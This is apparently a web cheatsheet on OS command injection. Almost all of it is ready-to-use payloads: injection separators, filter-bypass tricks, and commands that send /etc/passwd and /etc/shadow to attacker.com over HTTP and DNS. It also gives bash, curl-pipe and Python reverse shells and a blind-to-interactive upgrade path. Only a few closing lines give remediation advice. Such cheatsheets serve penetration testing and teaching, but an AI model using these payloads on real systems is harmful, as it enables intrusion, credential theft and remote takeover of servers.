Command injection occurs when user input is passed unsanitized to a system shell. Unlike code injection, you’re executing OS commands directly. This cheatsheet covers detection through full exploitation with every bypass technique.
Detection Basic injectors Test all of these in every parameter:
; id | id || id & id && id ` id ` $(id ) \n id %0a id
Confirm blind injection with ping ; ping -c 5 127 .0 .0 .1 | ping -n 5 127 .0 .0 .1 & ping -c 5 attacker.com
A 5-second delay = 5 ICMP packets = code execution confirmed.
DNS callback for blind detection ; nslookup attacker.com ; curl http: ; wget http:$(dig +short attacker .com )
Use interactsh or Burp Collaborator.
OS Command Chaining
Operator
Behavior
Works on
;
Run A then B regardless
Unix
|
Pipe stdout of A to B
Both
||
Run B only if A fails
Both
&
Run A and B concurrently
Both
&&
Run B only if A succeeds
Both
\n / %0a
Newline as command separator
Unix
`cmd`
Command substitution
Unix
$(cmd)
Command substitution
Unix
\r\n / %0d%0a
CRLF injection
Windows cmd
Windows-Specific ; whoami & whoami | whoami %26 whoami # URL-encoded & ^& whoami # escaped cmd /c whoami powershell -c whoami powershell.exe -NoP -NonI -Exec Bypass -c "whoami"
Windows environment variables in commands %COMSPEC% /c whoami %SystemRoot%\system32\cmd.exe /c whoami
Filter Bypass Techniques Bypassing space filters cat ${IFS} /etc/passwdcat $IFS /etc/passwdcat \t/etc/passwd (URL: cat %09/etc/passwd) {cat ,/etc/passwd}cat </etc/passwd
Bypassing keyword filters a=ca;b=t;$a$b /etc/passwd a=id ;$a /bin/c?t /etc/passwd /bin/ca* /etc/passwd /???/??t /etc/passwdecho "aWQ=" | base64 -d | bash $(echo "aWQ=" | base64 -d)echo "tac" | rev | xargs $(printf '\x69\x64' )
Bypassing blacklisted characters 'id' "id" i"" d i'' d $($(echo id )) id
Exfiltration Techniques HTTP exfiltration curl http://attacker.com/$(id |base64 -w0) wget "http://attacker.com/?data=$(cat /etc/passwd | base64 -w0) " fetch http://attacker.com/?d=$(id )
DNS exfiltration for i in $(cat /etc/passwd | base64 -w 30); do nslookup $i .attacker.com;done nslookup $(cat /etc/shadow | base64 | head -c 50).attacker.com
File write (reverse shell) ; echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /tmp/r.sh && bash /tmp/r.sh ; curl http://attacker.com/shell.sh | bash ; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/sh"])'
Context-Specific Injection In ping/nslookup wrappers 127.0.0.1 ; id127.0.0.1 | id127.0.0.1 `id`
In email fields test @email.com; id "test@email.com" ; id test +$(id )@email.com
In filename processing (ImageMagick, ffmpeg, etc.) file .jpg; id file .jpg | id
In curl/wget URL parameters http:// attacker.com/`id` http:// attacker.com/$(id)
Blind to Interactive — Upgrade Path ; nslookup $(id | base64 ).attacker.com ; curl http://attacker.com/?f=$(cat /etc/passwd | base64 -w0) ; echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" | bash nc -lvnp 4444
Never pass user input to shell execution functions (system(), exec(), popen(), subprocess.call(shell=True)).
Use parameterized system calls — subprocess.run(["ping", host]) instead of subprocess.run(f"ping {host}", shell=True).
Validate input strictly against a whitelist of allowed characters.
Run the application with least privilege — limit what a successful injection can do.
No comments yet. Be the first.